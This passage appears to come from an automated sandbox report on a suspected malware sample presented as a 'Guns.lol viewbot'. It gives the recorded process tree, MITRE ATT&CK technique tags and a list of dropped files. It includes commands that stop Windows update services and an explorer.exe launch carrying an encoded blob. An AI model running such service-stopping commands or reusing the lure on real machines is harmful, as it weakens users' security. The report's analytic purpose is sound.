C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\explorer.exeexplorer.exe AcYZ2rEvaYmP9Y3q 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvug8Rp3hiani4Twfqfj5pfOq2R69r9SyRhMNMhDEUyZoFAoIjaR68Q6DzO3FZBa031yHhKioi17vSuGXjby2Kxw3CLUWTO5ceFkbJnzf4k+CjJBF0QOovf/aQeW9bfOE515B9GLsXhB+xm4SEY+3cs4d428SKo4uuY0E++JMoUGZCBm5UfJ++DjM4qpYpQQ/xtdDiyFc8kbyqnFBsZ9DUlCRw1GqYhSGuHNzEWl1adNxnnO+aOxHkDvHab/huzrHOGeXtSlxpbHD5Q+y2HLwIFxS4IDqcaVYLkIKvnvdxLkldu1njU/PTxp2q85nwXlj0IgT6zhAKKYEAlP7o1nWA1TmfhgCywaGi1u8LpXuZeSNGZ2+thP2etxCC2vGo8Mxs3qBJYHubbdvYWLuIIlEpCzfeQ/2QCtwZhYryK8gf4yCkJEqHGhR9oZsjaDbqp+rqf36uw+XuZgSxojayD/AQsjQDre747ZnPxnuzVtKdRZIbK/lEgLRwBig0PEQXhLIBPFkWNc1GneWVm7sOJx8B1A85/eAXmlginUyPXeR1WmYqGufK8uOdK8EO0NnTFAyEqL/6qaGiV2GiorX8o7S9v25LTJ8gq6a/BQLu5AgRz9zg==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff97360c728,0x7ff97360c734,0x7ff97360c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1792,i,1556089878415278144,10841022823920012596,262144 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1972 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2316,i,15919820398409102728,13796501497742270160,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2320 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2436,i,3174784244195493054,8869888705186787688,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2452 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3264,i,4840004654326049640,11127124872510300319,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3272 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3564,i,12174523277605525083,3624736800772993270,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3576 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4572,i,9896938954345555905,4689544011611104761,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4588 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4768,i,5672054037174070784,13198871065841889931,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4780 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4936,i,567730211724715384,9819551986324466077,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4940 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3708,i,14075240528530199850,7569888697668899434,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3692 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5868,i,4367054135427259767,3782329234270900677,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5872 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=244,i,7917377100106926747,14190347668617460825,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5952 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5964,i,14477963408902204206,16283833148787045271,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5872 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5884,i,3723693169106235956,2983466224427325957,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6044 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3624,i,6179682387343279799,13141288958119262212,262144 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1160 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=4604,i,6995239477633823205,1803923446667229482,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4284 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4656,i,12254125918719313628,10746090921363429689,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4644 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5480,i,14064142293354683967,1012411414412151140,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5288 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=4664,i,14162620025446674375,2903985835133370656,2097152 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6060 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4708,i,8283759858472391856,9403219590273803414,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5892 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,7355597848628397210,6402128279676021037,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4288 /prefetch:82⤵
- Modifies registry class
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6052,i,16976917178525612034,4400247742504172290,524288 --field-trial-handle=1980,i,9518692018589956078,6410439154656018786,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6068 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2020 -prefsLen 27099 -prefMapHandle 2024 -prefMapSize 270279 -ipcHandle 2100 -initialChannelId {f5df543e-3b3a-4937-bace-0b33cf8a011b} -parentPid 5500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5500" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2480 -prefsLen 27135 -prefMapHandle 2484 -prefMapSize 270279 -ipcHandle 2492 -initialChannelId {31c71495-9798-47c9-b0a6-15d3149ac63d} -parentPid 5500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3552 -prefsLen 27276 -prefMapHandle 3556 -prefMapSize 270279 -jsInitHandle 3560 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3568 -initialChannelId {d8d7dba9-dc3c-446b-ac86-0641aef0603e} -parentPid 5500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3732 -prefsLen 27276 -prefMapHandle 3736 -prefMapSize 270279 -ipcHandle 3748 -initialChannelId {50a5cd42-0715-449a-b547-b38aa730a659} -parentPid 5500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5500" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3496 -prefsLen 25213 -prefMapHandle 3696 -prefMapSize 270279 -jsInitHandle 2732 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2788 -initialChannelId {29d682b5-5b04-4357-af87-a30dcb8df383} -parentPid 5500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4032 -prefsLen 25213 -prefMapHandle 4036 -prefMapSize 270279 -jsInitHandle 4040 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4048 -initialChannelId {4ed4cae1-4627-42fc-8b8f-cc9ed522950c} -parentPid 5500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4224 -prefsLen 25213 -prefMapHandle 4228 -prefMapSize 270279 -jsInitHandle 4232 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4240 -initialChannelId {cf3eb204-4b79-4bc7-9fd2-196ea46facb1} -parentPid 5500 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5500" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab3⤵
- Checks processor information in registry
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot\readme.txt1⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Replay Monitor
Loading Replay Monitor...
Downloads
LICENSE
verified_contents.json
keys.json
crs.pb
ct_config.pb
kp_pinslist.pb
Microsoft.CognitiveServices.Speech.core.dll
Filtering Rules
Filtering Rules-AA
Filtering Rules-CA
LICENSE
Part-DE
Part-ES
Part-FR
Part-IT
Part-NL
Part-RU
Part-ZH
adblock_snippet.js
crl-set
deny_domains.list
deny_etld1_domains.list
deny_full_domains.list
data.txt
auto_open_controller.js
edge_tracking_page_validator.js
product_page.js
shopping.html
shopping_fre.html
shopping_iframe_driver.js
english_wikipedia.txt
female_names.txt
male_names.txt
model.markov
passwords.txt
ranked_dicts
surnames.txt
test.txt
us_tv_and_film.txt
verified_contents.json
hyph-af.hyb
hyph-be.hyb
hyph-bg.hyb
hyph-cs.hyb
hyph-cu.hyb
hyph-cy.hyb
hyph-da.hyb
hyph-de-1901.hyb
hyph-de-1996.hyb
hyph-de-ch-1901.hyb
hyph-el.hyb
hyph-en-gb.hyb
hyph-en-us.hyb
hyph-es.hyb
hyph-et.hyb
hyph-eu.hyb
hyph-fr.hyb
hyph-ga.hyb
hyph-gl.hyb
hyph-gu.hyb
hyph-hr.hyb
hyph-hu.hyb
hyph-hy.hyb
hyph-it.hyb
hyph-ka.hyb
hyph-kn.hyb
hyph-la.hyb
hyph-lt.hyb
hyph-lv.hyb
hyph-ml.hyb
hyph-mn-cyrl.hyb
hyph-mul-ethi.hyb
hyph-nl.hyb
hyph-or.hyb
hyph-pa.hyb
hyph-pt.hyb
hyph-ru.hyb
hyph-sk.hyb
hyph-sl.hyb
hyph-sq.hyb
hyph-sv.hyb
hyph-ta.hyb
hyph-te.hyb
hyph-tk.hyb
hyph-uk.hyb
hyph-und-ethi.hyb
well_known_domains.dll
mini-wallet.html
miniwallet.bundle.js
notification.bundle.js
notification.html
notification_fast.bundle.js
notification_fast.html
tokenized-card.bundle.js
tokenized-card.html
wallet-buynow.bundle.js
wallet-buynow.html
app-setup.js
load-ec-deps.bundle.js
load-ec-i18n.bundle.js
wallet-drawer.bundle.js
wallet-drawer.bundle.js.LICENSE.txt
wallet-drawer.html
app-setup.js
bnpl.bundle.js
bnpl.bundle.js.LICENSE.txt
bnpl.html
bnpl_driver.js
buynow_driver.js
crypto.bundle.js
driver-signature.txt
edge_driver.js
hub-signature.txt
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
strings.json
README.md
super_coupon.json
wallet-checkout-eligible-sites-pre-stable.json
wallet-checkout-eligible-sites.json
checkoutdata.json
merchant-site-info.json
wallet-eligibile-aad-users.json
wallet-notification-config.json
wallet-pre-stable.json
wallet-stable.json
wallet-tokenization-config.json
load-hub-i18n.bundle.js
manifest.webapp.json
runtime.bundle.js
shopping_iframe_driver.js
vendor.bundle.js
vendor.bundle.js.LICENSE.txt
wallet-crypto.html
wallet-icon.svg
wallet-webui-101.079f5d74a18127cd9d6a.chunk.js
wallet-webui-227.bb2c3c84778e2589775f.chunk.js
wallet-webui-560.da6c8914bf5007e1044c.chunk.js
wallet-webui-708.de49febeeb0e9c77883f.chunk.js
wallet-webui-792.b1180305c186d50631a2.chunk.js
wallet-webui-925.baa79171a74ad52b0a67.chunk.js
wallet-webui-992.268aa821c3090dce03cb.chunk.js
wallet.bundle.js
wallet.html
wallet_checkout_autofill_driver.js
wallet_donation_driver.js
webui-setup.js
typosquatting_list.pb
LICENSE
verified_contents.json
widevinecdm.dll.sig
manifest.json
updater.exe
F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
075868df-a2c0-4d6c-b040-f9d83bb01db5.tmp
07dec781-502c-4893-b5d8-0f80e684d457.tmp
192d84d4-fe85-4300-b5a5-ba50b6bd315e.tmp
1cb2b6ab-c9c0-4a62-bbd9-de6355063968.tmp
29616e56-1950-49e4-9ba8-ec62e25ee59e.tmp
6f078016-f319-40de-94dc-0546948e5e9d.tmp
metadata
faeafad5-ccd9-46a5-a51b-b123cc0258ab.dmp
0c03c794-637b-4dbd-8499-4f41779fd249.tmp
2683647e-1c3f-4a2f-9a04-18aca97ab54e.tmp
4d7b509d-d6d9-4e35-91d4-e1546131dcf7.tmp
96b74b74-4558-4a11-aaf3-6be808a109b0.tmp
f_000005
f_000011
f_00001b
f_00001d
f_00002c
f_00003a
f_00003b
f_00003c
temp-index
temp-index
9206633f-df27-4ee3-9540-2b01b6bf0fca.tmp
temp-index
the-real-index
temp-index
e38fea90-42ff-41f1-98da-a07cd8ba0d1e.tmp
f8dc85ea-e2a0-4268-b892-c8f5df29ba08.tmp
19d5a873-142e-40b4-a3c5-86e83b7164e5.tmp
205a5813-8b23-4044-ba43-426259570dd7.tmp
3002487d-8f95-480a-b434-63049431bb5a.tmp
42afa2e5-9789-4678-bc4d-b8a8413dc4d6.tmp
58a23444-95c5-4da3-bac9-e0a252539b3d.tmp
79cb0711-d6ae-4477-ba12-d300f3eb464b.tmp
manifest.json
metadata
metadata
54e5a951-bf08-4836-9bd6-82ea7fac5d67.dmp
941fc376-146b-46f5-93dd-2b53f2b9f33a.dmp
settings.dat
settings.dat
settings.dat
settings.dat
0be86fc6-6439-4f68-9a20-eb97100bc1c7.tmp
1756d49f-9c11-4ce0-b0cf-c803209d6168.tmp
1b9a522f-749c-4f9f-b6b2-749552909c36.tmp
1f017f46-a723-4db0-b063-5ad2ff307df2.tmp
2a9e0b95-af52-49b0-a079-9ef9903e70bb.tmp
2c9d25e6-6439-4fc2-b9f6-03048efb7b4a.tmp
3c20fe27-f5ae-4ba4-aee6-28accbe0c9cc.tmp
95fee036-2686-4e9b-b307-5aa4070aac1d.tmp
f_00005b
f_00005c
f_00005e
f_000061
f_000062
f_000089
f_00008a
f_00008b
f_00008c
f_00008d
f_000091
f_000092
f_000093
f_000094
f_000095
f_000096
f_000097
f_000098
f_00009e
f_00009f
f_0000a1
f_0000a2
f_0000a4
f_0000be
9f8f469ed34ce0db_0
temp-index
temp-index
the-real-index
2ad46bd9-cb08-4256-bb7a-cdda25c2a499.tmp
dasherSettingSchema.json
data_1
0dfc4544-d57d-451c-b5a1-0d2f30e26897.tmp
19dfffa0-8059-45ce-a9fd-898571340c4c.tmp
2514c22e-c7a4-49c1-9652-cdff16150999.tmp
447d8cb2-ae48-4ef1-9006-2ac747cc1577.tmp
70b42c0e-2a34-445e-9832-3d8bc972e7e1.tmp
beb6d5bf-2523-4744-9e30-2eb9a272c01f.tmp
index
temp-index
the-real-index
temp-index
temp-index
the-real-index
temp-index
the-real-index
index.txt.tmp
index.txt.tmp
index.txt.tmp
temp-index
temp-index
temp-index
the-real-index
CURRENT
sync_diagnostic.log
MANIFEST-000001
a49f8a1c-ed2e-4574-a5ce-edfc62d4a91a.tmp
cb923dc9-a8f5-44d8-95fe-95c7a036eccd.tmp
cc245cdd-81fd-4b7d-97de-e8af2551b0ac.tmp
d3b99db3-4f3f-4891-8fcf-a9c07b2b3d89.tmp
manifest.json
manifest.json
notification_fast.bundle.js.LICENSE.txt
tokenized-card.bundle.js.LICENSE.txt
strings.json
manifest.json
manifest.json
RevisitationBloomfilter
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
widevinecdm.dll
manifest.json
00af3f07b5abb71f6d30337e1eef62fa280f06ef19485c0cf6b72171f92ccc0a
0111e212-0792-4964-bad0-c692350222ff.tmp
069da8c0-9e3c-4b03-bd8e-b98cd1236258.tmp
07e0ad6da3d30a27962c6e09da9798ba1745856eaad71a036e2f639e93ea0b27
0f1ccded57bb4b5edc565cb3e8ec03b9f164b400ca2a9b446f2b52da790a1804
217f426f-f3f3-4a32-a055-32a4027cd2f3.tmp
38b9a60260c000df8eadd64719d86020e30480df9afb893e60b5ef7d780616a5
415f5b0a-0b69-4805-ad10-ea0762a11244.tmp
4906bd7a9eefe3a91738213e016c47e334882047cd6236f97267ccf589e701af
5e1bd1f1-1286-41ed-bb34-f757b1688c2d.tmp
720517793663c90e0dbd77cb42709bac49af733f83f73320ba89859d9b0310e0
7822e4838f023d1ec22a573b21a377708d726da87e3d0a91dc0bfabc063fd9a8
8d3db5ddf4bd3cfca1863869fc72b1d7365604f046a8bd90518f5a40716d1da9
a24e25aee737a1f9af065c4810990dffcb4b971dc556d8c9f0aa94e70e18de3a
a81d1959892ae4180554347df1b97834abba2e1a5e6b9aeba000ecea26eabecc
b811fcb5a7f7b4167748de61998c8e958285b173330a6d8aac24c1d9d6e2953d
cd37f789-1c76-4925-8713-a98ecc2bb6b2.tmp
ce6c96f3-9435-4124-a052-eaf694e4927e.tmp
d3280a2d97d1bd59dd97decf1728960096362a103cab0a770e9201be9a61737d
d79b0a389269f7011191a4f5f17a27919b6d43f34363919296e67e6c0107a6fd
d968b268a9619291087515771da88fed7d27eebf19ed815e14a2abb16764f491
da00c328-ebda-4338-bd2f-46ae01bbe559.tmp
e6c0dbce-81a3-44d3-93b1-bd4640bce178.tmp
fda15dc5-ecad-41ef-bcb6-1d8ec9920f2d.tmp
hyph-as.hyb
hyph-hi.hyb
hyph-nb.hyb
manifest.json
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres
webext.sc.lz4
29c11c37-d7ad-4396-bc3b-b1e0b8fceed8.tmp
MicrosoftEdgeUpdate.exe
